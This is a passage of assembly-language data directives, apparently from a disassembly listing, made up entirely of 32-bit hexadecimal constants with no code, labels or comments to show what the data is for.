		dd 3EB706ACh, 91002B71h, 60B6A5F1h, 0E4020Ch, 0CB0ED016h
		dd 1730E5ACh, 73392309h, 50538AB7h, 0A95DBE00h,	4F04D0h
		dd 2CC5BAC6h, 69EA354Ah, 84019EF8h, 4E159854h, 0E3FCDB6Dh
		dd 10FA05FEh, 0C0263917h, 6A3E6577h, 0FCB3BA00h, 0E4ED3FEEh
		dd 0A54F00CCh, 31990C28h, 0A4015211h, 0B43AC365h, 8820D01Dh
		dd 0C125176Dh, 0FA4F0777h, 0A0E7303Dh, 0D00ADF2h, 682CD29h
		dd 7EF6E2h, 26BF02B0h, 0E4847499h, 0E9316A00h, 9060360Fh
		dd 3BFAE2E7h, 0B883FCE5h, 0D393ACF0h, 0C7EB50F8h, 0E2082818h
		dd 0DB4DD8h, 496B5B5Fh,	0EC0A4FFAh, 0D576E80Fh,	7F9EE0C6h
		dd 3D2AD9h, 0D3038824h,	0D7FA8290h, 742E8D1Dh, 0F7172340h
		dd 1781E9A1h, 0CD1A9Fh,	1BC70D93h, 0EB908736h, 0CA107D00h
		dd 77BDE650h, 0C4410C47h, 45B89314h, 78812E1Fh,	8DC91800h
		dd 2BE455h, 0E3304609h,	0C14B3C93h, 0A348B814h,	6AFB0090h
		dd 0FAC470FEh, 9460006Dh, 0EFD35D49h, 3700C96Fh, 0B8FB21BBh
		dd 38ED6876h, 60011EBDh, 4FC8F99Ah, 393B202Ch, 29FCF400h
		dd 3719BE61h, 6E3000Ah,	0F7E1CF5Ah, 0AA01B3CEh,	86964CFBh
		dd 40C06D09h, 5B7D0080h, 56432599h, 0DB0A5CC8h,	0ACA79296h
		dd 712A4100h, 1E8DB89Eh, 808A2B86h, 10792D60h, 65746BF5h
		dd 9025C80Bh, 8F2480C5h, 1D3C3014h, 7DBDDA29h, 18A82480h
		dd 58C09DD0h, 826A743Dh, 63885F59h, 655440F1h, 494401B4h
		dd 7BC75709h, 24FEF1F9h, 0F7120758h, 8A02CCE0h,	41E912E2h
		dd 18E83554h, 0E1BD00F9h, 44F7720Bh, 0B5008C7Dh, 774390ACh
		dd 1CE5B8C4h, 8E5E6A46h, 0E129DC94h, 0CF190C00h, 2B0099AEh
		dd 161B5859h, 456B9Eh, 6DCC02E9h, 0EF4A8EEAh, 1FB51826h
		dd 0D358BC00h, 1B28470h, 2A280E2Eh, 6012A946h, 5700DBEAh
		dd 0F7D4D698h, 16D2533Bh, 0FC6DFFEEh, 0B8BD3A75h, 3E8703DCh
		dd 0A0390F7Dh, 24751FBCh, 28CB50h, 1602656Fh, 0F300E2B9h
		dd 92BCA2A3h, 0F0312BDh, 7FF7C2EEh, 51F894E0h, 99021172h
		dd 7A3B8130h, 0B7908098h, 35DB2AEh, 0D506232h, 64008D63h
		dd 0B88AD1C7h, 3A47E40Bh, 0E8006865h, 3C3B6A2Ah, 0E0053BFh
		dd 0A009C303h, 0FC2874h, 0B32DBEF1h, 0C7E12570h, 36B4FF00h
		dd 8680CF97h, 8357005Dh, 0D95209E6h, 2A00591Fh,	696B3C6Ch
		dd 2324CD1h, 38C6A3CCh,	2F6083E7h, 0DF3C55E0h, 42DB9F3Ah
		dd 5B80C280h, 0A58CA8h,	0BD16CEA1h, 589D297Fh, 140298B8h
		dd 7CF2EE32h, 2588605Dh, 9BB0255h, 0C1FB9D4Ah, 30F382E1h
		dd 51003EE5h, 0BC5A1BF2h, 978A08h, 0A72FF430h, 0B99FBEE5h
		dd 0ACDB0A03h, 0D0EA9624h, 71A2B94h, 66D5D4A6h,	0C10C919Fh
		dd 0CF85C4F7h, 0C200FE78h, 6EDC9E9Dh, 3484C09h,	32D8396Bh
		dd 0DA88E85Eh, 48903C75h, 0AC181200h, 7F105B9h,	83F5002Bh
		dd 215B1A4Ch, 0D22C9629h, 0FF0124D4h, 0F7C41116h, 6804CC81h
		dd 2053269Ah, 0C500ECB0h, 0E55C6FC1h, 900C34D8h, 0C6933DDDh
		dd 0D7E43000h, 6891629Bh, 8514FA00h, 7CDB4283h,	18070169h
		dd 0E228C690h, 0B547E8CFh, 2F6DF903h, 0A14BD63Ch, 0ADE887ACh
		dd 322800B6h, 9056513h,	11C0FE03h, 0C687D121h, 55100083h
		dd 519BCC9Ch, 3000A337h, 0BA6988EAh, 7F69089h, 44C529CDh
		dd 0E3406F5Dh, 5E707F0Dh, 795CA44Ch, 17A64E00h,	596E06C6h
		dd 96D600E7h, 0D212EE41h, 0E800F1DAh, 5AD18CDh,	6CA2B5h
		dd 0B963176Bh, 77C4A81h, 2800E472h, 406EBB48h, 7BC51375h
		dd 0F0F600E9h, 9B89F979h, 0CB395A2Eh, 0B6C79EF1h, 950ED840h
		dd 6A2F50h, 549BC24Eh, 265B9FBCh, 0AF5C3B00h, 0B21EEFE0h
		dd 64793841h, 242C8381h, 473FD537h, 9734D0E0h, 140025DAh
		dd 0A3954A67h, 863A2Ch,	76B58841h, 9FE2CFF4h, 97E388C0h
		dd 23C1FDh, 0F286BB05h,	0E64CE875h, 7C0FE101h, 1754BC84h
		dd 2673E040h, 2D968090h, 0A7D0DC00h, 41C1E34Eh,	620E0F49h
		dd 0C460D499h, 0ED5BC909h, 85CAC700h, 956C6BB8h, 499F3C70h
		dd 0F412B8D8h, 0FAC80091h, 8BD35D2h, 0C100D3F2h, 0F59B981h
		dd 38A74971h, 0AF000C86h, 0F1E2EC72h, 6D3F352Ah, 0A4D10080h
		dd 42438983h, 0C65E03B3h, 0CB55569Ah, 30B49481h, 2A00A7D5h
		dd 0A3D7B8BDh, 60DFE2h,	0BA8A51A4h, 9EE7BD1h, 0FF562302h
		dd 0D5D33F5Fh, 833A1480h, 3801F14Ah, 9461BB0Bh,	6EFCE08Ah
		dd 0A88B0045h, 17D56C07h, 0FA007FAFh, 30937C62h, 3DDDCA14h
		dd 4739975Eh, 53A8BD80h, 0E342EDBFh, 0ABF13800h, 66657224h
		dd 97CD004Ah, 6B675755h, 0B9001AF7h, 0FA8BB4D0h, 3D9DD06h
		dd 0A587F5BDh, 5FC03C1Dh, 400D5FFh, 414656BBh, 0A372C6h
		dd 0B7FC3FA4h, 0E66AFAECh, 40DE6200h, 606167B3h, 892E0024h
		dd 0C0BCFBF7h, 0F2005788h, 29BA321Ch, 988FA2BDh, 829B00ACh
		dd 0AEB6A92Bh, 36005A1Eh, 6B17EAE9h, 0C4A675h, 0B193D0CFh
		dd 96B4900Ch, 78273A07h, 3F505723h, 39FC4DBFh, 0CD83ABF0h
		dd 94D7F902h, 415300FCh, 2686B9AEh, 3CB74F1h, 461E9D89h
		dd 747134F9h, 0D0008F68h, 2FF0C014h, 0ED7AB4Fh,	0A2C54EC9h
		dd 0D6E6060h, 8A001EBAh, 0B13DD394h, 1BAD4Dh, 2D0EB4A7h
		dd 7A86DBDFh, 0E3082400h, 657F8541h, 1DE2000Dh,	60FBA183h
		dd 68013184h, 0AB0C9194h, 9EE01B77h, 66F50006h,	0ACC1792Fh
		dd 0DC16FE27h, 50012C26h, 11091FA2h, 0FBC0EA31h, 64D00B5h
		dd 88FAD784h, 94FC80C1h, 0C8AA2F00h, 36D4EE1Fh,	95630F42h
		dd 0C26406DCh, 7EA0C04Ah, 0FE007113h, 4F2DE40Dh, 2E86F755h
		dd 0F8490B4h, 0DCE0F67Fh, 0CE26F58h, 0D1C0A800h, 4CEB733Fh
		dd 37EAC3h, 6CFA24BAh, 93A25961h, 6D0ED405h, 0FE00CE7Ch
		dd 9067BCF3h, 7AEE0F0Dh
		dd 7F7128Dh, 7B43E684h,	354F28A0h, 24005D5Eh, 0D6C4EE9h
		dd 9219559h, 0F57C4992h, 2CA2C400h, 72001FAAh, 0AD65C2Ah
		dd 4A3B42h, 9E867E34h, 0F605E927h, 5F00AD76h, 0BA3A7533h
		dd 0F3BAB60h, 0B61EC94Eh, 227007Eh, 0F82A9BA4h,	0E7668A00h
		dd 6A9AB22Eh, 24480075h, 86BD017Ah, 5D00DEACh, 0DD4CC87Dh
		dd 33A2777h, 1FA8A1A2h,	6D804DF9h, 4F00D7C1h, 0A5B30ADCh
		dd 2D7F24h, 0B9E0838Eh,	98E6CA16h, 4731A00h, 0CF39F64Dh
		dd 3AC4000Bh, 66E54E88h, 8400F351h, 4385A7CCh, 0D1DC29h
		dd 19EEEBC9h, 0B5771437h, 8B017073h, 0E90D8313h, 0A9DCA3FFh
		dd 5B4B00E6h, 660EDCA5h, 0D8A9DD14h, 883C81D7h,	0F48AA730h
		dd 0F976C0h, 35B3CB67h,	0A22E97ACh, 0C4F2CF00h,	1B7A7189h
		dd 0C53A0339h, 17BCEBE4h, 0E88E560Fh, 256241D5h, 0D84303CBh
		dd 0D81A42DEh, 237F0071h, 3B94380h, 0BE6FEFFh, 0A2506500h
		dd 54472BB5h, 1C3C017Ch, 5D9A2EC0h, 62BAF05Ah, 0C6E3BD01h
		dd 755F271Dh, 6D13F8h, 0DC41A3FDh, 66335EC3h, 0B0A7BA03h
		dd 88B86C67h, 3A7529BDh, 53074A0Ch, 0D0C8E75Ah,	3CFC4662h
		dd 19B63300h, 6FB97503h, 656D0090h, 1F4C0FADh, 331640D4h
		dd 3805544Dh, 28822C7Ah, 138940EDh, 0E49B005Dh,	0C00942C1h
		dd 70FB3EE0h, 6E00C724h, 45DFBEA8h, 7E505C79h, 30E4F9B6h
		dd 0A9CE1F04h, 0BCD5C17h, 3800204Dh, 7EE76EABh,	0FAC64807h
		dd 81CB0E71h, 2DEA59Ah,	6CFE30h, 2F7323F9h, 9E84C2C0h
		dd 17C48C39h, 0DC1D2C07h, 104250C0h, 7B75AA90h,	3B7F38h
		dd 0B4CD336Ch, 0AC8635Fh, 65781201h, 2EFF4108h,	0A314A840h
		dd 2FAA305Ah, 28825948h, 0F5E68C07h, 62900313h,	6439B1h
		dd 4B34C69Eh, 252FBC2h,	6594FE00h, 0D12B7148h, 9FA744Ch
		dd 78B08E3Ch, 0FDA14D83h, 684F9DF1h, 19530074h,	0B3D598Fh
		dd 13E8FED1h, 408890DCh, 0E9286790h, 11C074FCh,	8143C2C7h
		dd 9AFA0F37h, 1BE0CB91h, 821E895Ah, 70107E01h, 0AE7A5F79h
		dd 2CCAECh, 5CA14E25h, 6C14ECDDh, 0D6C43100h, 7D9407AAh
		dd 0C64B0785h, 616D2952h, 385738B0h, 9FF20B98h,	19AC02D0h
		dd 0E7146094h, 84DD0077h, 0FB078A18h, 0E000D697h, 7E233173h
		dd 3B25BAACh, 9A806239h, 0F45A0704h, 8BB879CEh,	0E0A06902h
		dd 84F2FDEAh, 97905F9Bh, 2EE1D4B0h, 1DC151Dh, 8A85C82h
		dd 4E118FF9h, 808C402Ch, 3EF090h, 0CFB858C0h, 3240AF49h
		dd 73B8500h, 9F3FFCD1h,	8CD300CEh, 0BDBB2858h, 1203705Ch
		dd 0DEAD636Ch, 60419AC9h, 2ED4A4DCh, 0B2CDDD8h,	0A40E7A3Bh
		dd 0AC7D44E0h, 0CE381D73h, 99B98096h, 767AFA04h, 2DA01D20h
		dd 0BF6A8033h, 0C150646Dh, 0B8A94F03h, 8824162Ah, 2E0EC444h
		dd 1E36ADEFh, 4EE80AFh,	2C7D38D8h, 1376D500h, 23821A9Fh
		dd 655C00F4h, 0E5167C5h, 4A016402h, 0B195B079h,	83FD6841h
		dd 674F8h, 34CCE329h, 0F918C433h, 0CFFA6000h, 0D6B3DE6Ah
		dd 556F13E1h, 0C39600D9h, 0FAF34B3Bh, 69B1A900h, 86D8B35Ah
		dd 0AE84584Eh, 1992C1Fh, 71051B4Fh, 3FC833F6h, 6D9A8E8Ch
		dd 0D078A077h, 39B8465h, 0B4FE6A46h, 61B84260h,	0ED4BC599h
		dd 1037D440h, 719D523h,	67782B50h, 0E8082048h, 33007930h
		dd 0CA99389Bh, 65DE86h,	8BFE6D94h, 266796B6h, 0ED322A15h
		dd 0CFF400B8h, 8D694A93h, 0F1E1009Ah, 53873FE7h, 0C171FEABh
		dd 8020143Fh, 0DA0C684Ah, 56582Ch, 74650EE9h, 3D52989Eh
		dd 0A28958h, 8525E7B6h,	2FC24DDh, 0FE9B158h, 4C590CE0h
		dd 4D01F901h, 50D0D669h, 0CBFF00E8h, 2D974896h,	0F3890A5h
		dd 5800FAE5h, 9A838D93h, 0CE284Dh, 70D7090Dh, 3A024E3Fh
		dd 8A177CF8h, 8008C48h,	2BCCB5D8h, 0BA1F014Ah, 0F22621D9h
		dd 0F6E540C8h, 920E0267h, 80ED2F84h, 0E457302Ah, 15F0071Dh
		dd 0F020645Ch, 70E5D21Ah, 0C5620097h, 0B43B4A34h, 30150028h
		dd 67A0E011h, 0A31DEA00h, 82102CEFh, 61DE0F3Ch,	7C00C4A4h
		dd 9291909Fh, 4BF18B00h, 2270E795h, 8F0800D5h, 0AC0806Bh
		dd 1F308C8Eh, 4EBD4056h, 0AB2100FBh, 1EBB151Bh,	0A300EDC3h
		dd 0FD4082E6h, 717D1789h, 1C89C4A5h, 4DEC5C2Dh,	0F8BD4F07h
		dd 0E325C850h, 3E620044h, 2C1E1306h, 48008327h,	919A43Ch
		dd 0E99C7FBh, 0DD178008h, 6EF72500h, 3D001105h,	85B668BDh
		dd 5654D6h, 2022E38Bh, 0C4616424h, 8C003C98h, 0A0848EEBh
		dd 446E5h, 3F7D4568h, 98F1934Fh, 9CF0DC07h, 9D90B4F4h
		dd 778088h, 0C4286FADh,	0A4F708D8h, 0F3125E00h,	2A41F8AEh
		dd 14F248h, 7B4AD765h, 0E2AC1BF9h, 0A5C0A600h, 64796F57h
		dd 2E6A1327h, 0E6BB00F2h, 9E9FE069h, 391F280Eh,	0FBA520A8h
		dd 172D5194h, 3828Fh, 275840B1h, 66019659h, 0DDD23A49h
		dd 0A0402BBCh, 2D7A4E77h, 4D6050E4h, 0D901D620h, 15136B47h
		dd 4880378Bh, 69E5122Ch, 7B009A51h, 44651A1Ch, 1379CCBh
		dd 886F853Bh, 6842E5B5h, 3020581Bh, 0EFDC1A7Eh,	67ECA0C9h
		dd 2E482D60h, 7F61F80Fh, 7AF0EDh, 8E95E7h, 132D50D2h, 8AABA5C5h
		dd 6C2C4737h, 96B17C1h,	9F9C60FAh, 19430160h, 20F04CF6h
		dd 3C8DC47Fh, 0CEE7E112h, 0BB57E890h, 479103C1h, 0D073A860h
		dd 592E9FD0h, 3E7CB91Ch, 2162B641h, 6C2D49h, 800821EFh
		dd 9C5C33E7h, 0C00005A6h, 72FB115Dh, 0E1EBA2Eh,	0D24F5177h
		dd 0CB940252h, 0A6005821h, 75C83Fh, 96F9A225h, 0FA6368A9h
		dd 0F6ABD40Fh, 3E801C5Ah, 4A329114h, 64EC1275h,	63700072h
		dd 0BC967489h, 26B96200h, 0C46916B0h, 762DE2D4h, 0A01306A4h
		dd 30FF61CDh, 91935E1Fh, 83721BC0h, 0EC6F7588h,	432F24AFh
		dd 0D5420014h, 262DA517h, 0DD1CD17Bh, 0E90BE65Dh, 6B483FFh
		dd 0D34838EBh, 0CBE47E80h, 0A3DDA722h, 6A0AE003h, 0CF070FBAh
		dd 0F4A833E0h, 37B00E1h, 0A6F2605Ah, 20002381h,	17C774ABh
		dd 3EE48AF7h, 5A00A11Bh, 0CC935BF1h, 7C00E988h,	2A8C1FF3h
		dd 6DDAFFh, 1430371h, 0B50A53A6h, 9838E400h, 3BC7CA58h
		dd 94690031h, 0E21FEEEDh, 6F0E7D12h, 0E0226480h, 0D32A9BA3h
		dd 10C71F7Bh, 0EDF003Dh, 0F5F85014h, 184CC80Fh,	0F2F980EFh
		dd 5E46Ch, 2046D69Dh, 648EE355h, 9B05A772h, 5D54F00Bh
		dd 33BE54C0h, 849000DAh, 0F5208943h, 65006453h,	8128950Dh
		dd 617DD9h, 0F629A748h,	7919F4F3h, 0B8D9E00h, 0B97BD295h
		dd 0E8054C16h, 180C03Fh, 0B6BBEFFDh, 1F16AA26h,	0C0C07496h
		dd 0DF0823h, 150D6B52h,	1B767B2Eh, 0CE00DAB4h, 0F08F59B2h
		dd 3A3E00ADh, 14180162h, 3C0F2C5Bh, 9890B0EFh, 1FF84DD8h
		dd 4537CBBAh, 0C0872B5Ah, 8417B8FCh, 16881912h,	9D69880h
		dd 0C5D52EA8h, 0C12100C0h, 930DFAB7h, 6601F89Ah, 81AB6A9h
		dd 98E05284h, 557E1D80h, 0A0B80029h, 5117A2D0h,	0FD902F00h
		dd 0E68547E4h, 651809AFh, 8B80A1B8h, 0B7612649h, 798A0D00h
		dd 7F684B07h, 0CBAA3DF8h, 652A2B9Ch, 17C84C00h,	81041083h
		dd 5013CD16h, 0F8020CA1h, 0A4F834h, 8B5B93E7h, 637D4AB3h
		dd 0BD67A9C0h, 0D0DABAh, 0C15A0AE8h, 16FA7FE3h,	0D9AA481Fh
		dd 998FC41h, 3C28C00Bh,	0C1BC3B18h, 786761B9h, 7C606B49h
		dd 16D25EC5h, 0F0E5215Fh, 0D32E942Ah, 9A029053h, 0A5173D44h
		dd 60A1A62Ch, 3CD702DCh, 0C600BCF8h, 6AF331A0h,	772C9DD1h
		dd 72806848h, 5434780h,	2B97053Dh, 40B6832Eh, 0EB0CAF40h
		dd 1602E3E7h
		dd 0BDA19A71h, 3C450F1h, 6962431Ah, 0DA89CEA6h,	85198036h
		dd 0A78CD2BEh, 0A0510371h, 633B0ADDh, 70B53D88h, 0F800405Eh
		dd 919D5DADh, 0E95C7517h, 0CE5D310h, 0F087F8F5h, 95D5CA00h
		dd 0AAC5CBF7h, 0EEA70092h, 0B66120A9h, 541848C8h, 0C5908F6h
		dd 0AA880F72h, 0F067B903h, 68E09071h, 174AC20Dh, 97C0D81Eh
		dd 741BCFB5h, 7FF3002Fh, 3110FA3Eh, 0D7CF786h, 80D1203Fh
		dd 0A9BC5DD8h, 96CB5F44h, 81281EA4h, 0A652236Dh, 0F13DC4D7h
		dd 57796E00h, 0BAB57F14h, 5BC239D3h, 129BFF8Fh,	0A3FA0E00h
		dd 60061B44h, 7EEF27B0h, 76880128h, 718DE01Ch, 39DAF030h
		dd 635FC812h, 1EF35C01h, 1081C786h, 0A835C40Bh,	0E0F41288h
		dd 4AFB1C3h, 18E580A1h,	45209067h, 772AD6BAh, 8406A413h
		dd 65CD6476h, 0DEEA0B11h, 1825D0Dh, 0F0A07759h,	0D3F4751Ah
		dd 57F9F03h, 0B9C4CBh, 0DFBB7831h, 21AFF3D0h, 2B6DD403h
		dd 0C0D89CC1h, 7676AC90h, 29022E01h, 59350150h,	247FF7C7h
		dd 7A4E162Ch, 0E0DB5847h, 320E25E0h, 35D72C34h,	8BBC01BCh
		dd 6083AE26h, 5C607334h, 0DF844AB0h, 0D3EB00CDh, 0E7B9D423h
		dd 8D00AB83h, 0C9FC0499h, 0A683116h, 63690C43h,	92D800DCh
		dd 0FB123725h, 1950503h, 0A8CE0881h, 2C907DC6h,	0EE3EF0Bh
		dd 0EB864E02h, 0A00F80CAh, 4ED92C8Eh, 80C3C9EAh, 0F690F075h
		dd 56B700ADh, 49149581h, 5700323Ch, 0C8E787BEh,	187E31h
		dd 0D8F7DBFCh, 0B3827355h, 0DE59251Dh, 7B363FC0h, 2C40539h
		dd 758C7AA9h, 9458660Eh, 4D1637F8h, 140003EDh, 0D62E63C3h
		dd 0EFBD01B7h, 227210BAh, 690EE87Dh, 0B6EB8500h, 0CBB53A15h
		dd 1F36005Dh, 290F1DE6h, 80005AAAh, 7DC0DFE7h, 1D0D9324h
		dd 0E43DA3F2h, 1AF30FACh, 47224260h, 7F3B3114h,	0C3F08081h
		dd 26991F1Dh, 494B1DE8h, 7A8C0088h, 8B304F92h, 104B2096h
		dd 0AAB35E4h, 0D1ACAF71h, 25F23BE2h, 70C4970Ah,	480BC012h
		dd 7980FC40h, 5E1B68h, 52165CA2h, 9B6A1AF9h, 7BE9D71Ch
		dd 0F8A49440h, 4C8579h,	0A68CD62Ah, 904FB4A2h, 433A6900h
		dd 823ED457h, 1CD800ACh, 320A9F7Ch, 0D7092962h,	22398AAAh
		dd 107ED530h, 0F883CB1Bh, 0BDFF6Fh, 0FBD38F6Ch,	5FED22AAh
		dd 11797000h, 0B09041C0h, 0D6CD17D7h, 514004Ah,	61EB7EB5h
		dd 0F5E6E704h, 34C2A0E5h, 47F6405Dh, 1CDE07F1h,	6CFE23h
		dd 0F90FB540h, 8BAC8B3Dh, 389BF241h, 569F0Ch, 93332911h
		dd 903B7D5Ch, 0D600B97Eh, 0D546501h, 122CCC06h,	4186716Ch
		dd 9890BDB4h, 1FFCC02Dh, 98681125h, 0F2F91670h,	75DC0741h
		dd 0D32917F3h, 1E8B404h, 0CA7EFEFFh, 0D6C23900h, 0A8668380h
		dd 9F050048h, 651F69FDh, 520040EEh, 0B755F17h, 13014A96h
		dd 13847CC0h, 0D35C4044h, 5394126Fh, 6B14F300h,	9C9B5178h
		dd 0F7B20460h, 87776934h, 0D2025B2Ch, 0CA404D9Fh, 490740BFh
		dd 0E828303Dh, 0FBC46BA0h, 0B8776E94h, 7B220F3Fh, 0E8B17A66h
		dd 0DC183DE8h, 2D2076EFh, 347302CBh, 9D096172h,	60742861h
		dd 32093634h, 189D764h,	0B666F2C5h, 0FFFC6865h,	0F4D958D6h
		dd 8E18D2C0h, 0A6167613h, 70201F38h, 48EF91F9h,	0D2014C7Bh
		dd 0B4E02D34h, 0B53C649Ah, 92075D76h, 91E45C14h, 6E6020A9h
		dd 0A8739776h, 559A4CCh, 588C496Bh, 57F04156h, 8035E174h
		dd 0CF867E31h, 0C0BD84h, 787A64E3h, 0E76A902Eh,	72FFE38h
		dd 291A96DBh, 3D90CF07h, 2E5EB476h, 873031B2h, 3036D4DBh
		dd 3AC8A632h, 88664CAAh, 0C010898h, 167A5910h, 198053B8h
		dd 4E243A44h, 0E709F5F7h, 0A51D33h, 695BAD68h, 2960206h
		dd 3225F867h, 2E42FCC6h, 0CA347A01h, 0D2747F83h, 27CBB8E8h
		dd 0A5000978h, 0BFE95263h, 0BA49B33Eh, 15622A00h, 0A03A0184h
		dd 503D0487h, 7B0070B7h, 4C68F15Ch, 0EB841EDCh,	7F2A27C3h
		dd 917121A4h, 0F9010C7h, 0A0C0D6A7h, 0EF9884h, 97DEFF2Fh
		dd 0D8EBD01Ah, 1240A965h, 6CD72880h, 7B80A818h,	5F0A0B67h
		dd 8860CAB6h, 8E01C7FDh, 92B779A4h, 530F485h, 9087540h
		dd 0D80E38AFh, 141D8003h, 72E9D188h, 369C5200h,	83FD2494h
		dd 0C5762C4Eh, 311B00B4h, 9C54A3A6h, 34FAD90Bh,	0C5582212h
		dd 0F760185Fh, 45E81C00h, 132E3039h, 18E9780Eh,	102FDB65h
		dd 760F7F8Ch, 275C1DBEh, 35418D74h, 0D7602C26h,	20D8006Ah
		dd 91B1F155h, 0CD3E9F75h, 832BA561h, 8AA70694h,	53C7C85h
		dd 4F4D9652h, 65C1D280h, 24E28744h, 7A00956Ch, 789747F8h
		dd 12BC2832h, 124738Dh,	0CFE1E93Ah, 8002F5Fh, 1BFF5AABh
		dd 370300A6h, 0F7BC2EB3h, 7AF4F3A4h, 0C3160600h, 0E1A21E67h
		dd 0DE43006Dh, 993993B2h, 0D200953Bh, 0F633303Eh, 980C83h
		dd 29148A56h, 0AEF2404Bh, 510013F8h, 7644AD02h,	2FCEB333h
		dd 0C00FD5C8h, 1CA7E8C0h, 540053D8h, 65B04260h,	0EC089B64h
		dd 841804FEh, 0C02EA881h, 5F01756Dh, 0AE6C2903h, 9832EF9Ch
		dd 0B1B5D6h, 82C33447h,	0ACA9561Eh, 0D29F0B01h,	88A18345h
		dd 0A30E986Ch, 4A601C3Ch, 8B9969Eh, 2F483548h, 0BBB8203Bh
		dd 0FD52422h, 2F931D09h, 0E218B052h, 0B678BA00h, 0DEFD2DA7h
		dd 0DAA0003Fh, 688F07B9h, 7A001E7Bh, 0A16CBC33h, 1F6D901h
		dd 9A06E33Eh, 7CEC218Fh, 0C1A50364h, 0C0378E0Ah, 795AE03h
		dd 88C858FFh, 0E2D6A0C2h, 85381F17h, 0B67EAE41h, 2DF21A00h
		dd 50BAB6h, 864C880Dh, 19A4FC4Eh, 0E12AF4BAh, 233DECB8h
		dd 980B803Ch, 56F27989h, 9084B067h, 0DBE0034h, 0FA5DE801h
		dd 0F1045081h, 5ACD37C5h, 7CD4B080h, 95F80029h,	97FB27DDh
		dd 0F50121B3h, 0D23C4887h, 75309DF7h, 28BD38E4h, 8EBEC99Dh
		dd 0AE0B0C4h, 61B6A39Bh, 409D5F00h, 0CE3AA45Dh,	0F14ACBh
		dd 63977BD4h, 0D7040FABh, 0FB491F4Eh, 7D50F890h, 482A00B7h
		dd 0D381F282h, 68926C78h, 0CD1B1F07h, 5D100455h, 1796F5Fh
		dd 0CF951A8Bh, 0C038A824h, 632C45FAh, 36625899h, 28D61Ch
		dd 759BB8EBh, 341E2122h, 0D466BF62h, 4D0054A4h,	92322A13h
		dd 2D800F1Dh, 21394E17h, 7DD881C5h, 0EEE9CAF7h,	0B3F5060h
		dd 360EC3C0h, 0F45BC420h, 7A049365h, 195CCC41h,	0AD0CE4h
		dd 98022E4Ah, 373B409Fh, 0C49D8AA0h, 263E930Ch,	156B40F0h
		dd 8487BC64h, 4B670076h, 519D71DCh, 809CDA1Fh, 0C1A7A90Fh
		dd 41BE1378h, 3AA048h, 62C6EDFh, 3D76020Ah, 2583A00Eh
		dd 2444B62Bh, 54E218C5h, 1DB1C007h, 0DCE3F18Eh,	0F0B05711h
		dd 78497143h, 8E312338h, 0A22970F1h, 0F8514780h, 9F7700BCh
		dd 0DAD996C7h, 0B72A3875h, 0B0018057h, 6C47F00Bh, 9C507DF9h
		dd 25B29F66h, 0C084AB8Bh, 244D15Eh, 4452FA9h, 0D888CD7Dh
		dd 0F87600B9h, 5980AE3Bh, 0EB03BC9Ch, 0C0D4AE7h, 1030A0A0h
		dd 26CA003Dh, 0C5C668EDh, 25FC3186h, 10695A30h,	0B8BF99A0h
		dd 30EC0708h, 8F6013B5h, 4833A980h, 6502C680h, 74DD7806h
		dd 0C0C430h, 94026FD0h,	5686F8D3h, 3DFDA492h, 14B92708h
		dd 44FE5978h, 80B060CFh, 77F88B34h, 16080AC7h, 8720BA3Bh
		dd 0F06D33AAh, 0E3A97EC3h, 9A17580Bh, 618C022Bh, 54E37FB3h
		dd 1D530C88h, 31FCCE51h, 3E1BF47Bh, 5687600h, 0C14B0AFAh
		dd 584601A5h, 0B6B29AD5h, 38E45157h, 1F10C82Eh,	58CCD058h
		dd 0B1F2C060h, 907181A9h, 2B45042Fh, 0CC6B886Dh, 14045118h
		dd 0DBF4C636h, 6001ACACh, 5087CD96h, 0AFA9E480h, 716B1800h
		dd 38F8219Ch, 0FAE43ACEh
		dd 0C022079Eh, 0BAFCD239h, 0F9071659h, 5497CAC6h, 228101D5h
		dd 3CCCC30Eh, 4D370B2Dh, 80001B38h, 0CE5987DBh,	55826105h
		dd 0A080D8E1h, 1F44DA0Fh, 80DFEC42h, 308E806Ch,	0B4F47BF9h
		dd 0B8A3A12Ah, 77FFD818h, 0C7C4E1h, 2B6E4770h, 3935D52Dh
		dd 0D6F66202h, 0AAD01C0Ah, 80053590h, 0F44AED9Eh, 0B44180C7h
		dd 84607782h, 392E0097h, 494C6225h, 9900846Ah, 0FF6C6E36h
		dd 0B6368B0h, 21A2EBDDh, 3A0EC850h, 0E0BBF898h,	30678F49h
		dd 0FDDC026Ah, 9B38412Bh, 0B3784C0h, 14E246E0h,	671422B5h
		dd 1F645AB3h, 788A73C0h, 937610h, 0CF321994h, 0F3439Bh
		dd 7F921841h, 366E1BDEh, 0D05830Eh, 9A809D56h, 7E457808h
		dd 0A3E900E2h, 93A6E661h, 21007763h, 0DE6EDC9Fh, 24AAFB9Eh
		dd 0E303B74h, 0ECAF1925h, 9C5BFE60h, 0BA3FAD65h, 4A96804Ch
		dd 808AF341h, 0C3B4A09Dh, 0A8EA00B1h, 0DBA6428Ch, 950E925Ch
		dd 7FAB70Bh, 7DF083B0h,	113EF0h, 0D7E684A6h, 0DFB61614h
		dd 23F1072Eh, 44AB8039h, 4186A962h, 883358BFh, 79714Ch
		dd 0D5AD83E7h, 0AE747E37h, 0F27F1C7Bh, 0B7506E00h, 6D20D371h
		dd 22E00042h, 298F6BCBh, 433F82A7h, 753C0095h, 0D6AAAF94h
		dd 0F93D039Eh, 0A5FA540Fh, 7F6005EAh, 1D252F1Ch, 26B04002h
		dd 457E5Ah, 0DA2DCB67h,	248EB4D6h, 10F80205h, 0F0A5BE29h
		dd 0C6919E9h, 0BA11B000h, 6E16651Eh, 71677700h,	0CA38132Dh
		dd 0FEF90718h, 100A45A6h, 0E6791684h, 3E4A6F01h, 0F0E90769h
		dd 24E127F4h, 20B35Eh, 922C8D42h, 6490AEECh, 487EAD0Bh
		dd 0CA818087h, 7BF312h,	0B0A41AD6h, 0ED16A40h, 5E001573h
		dd 0CC275065h, 9496263h, 0FEE3EC28h, 0F9539200h, 4D24CA6Eh
		dd 0D21386E6h, 5AFCF4h,	0F76CE4ADh, 6D3CEFD3h, 186A5101h
		dd 0C1E36E57h, 543C920h, 260C912Fh, 3E9DC0D4h, 4601664Bh
		dd 48E2B942h, 0D9D9886Eh, 12F52DECh, 0A09E5B4Dh, 1677DD6Ch
		dd 0A0CCF105h, 63806DDCh, 0E3E5BCh, 0EDE124F7h,	6B0D02C2h
		dd 0DBA0F801h, 65AB279Bh, 564C70h, 0C497EF7h, 0D1B1BD03h
		dd 718BF800h, 871FCBA9h, 402F4A9Eh, 45DE3354h, 1500FF06h
		dd 63F5844Bh, 438D969h,	0D22CAE70h, 21E8E442h, 5C98041Eh
		dd 8A343D80h, 28E6D6F4h, 1CEC8818h, 3D8E9B2Bh, 0F9B44BDFh
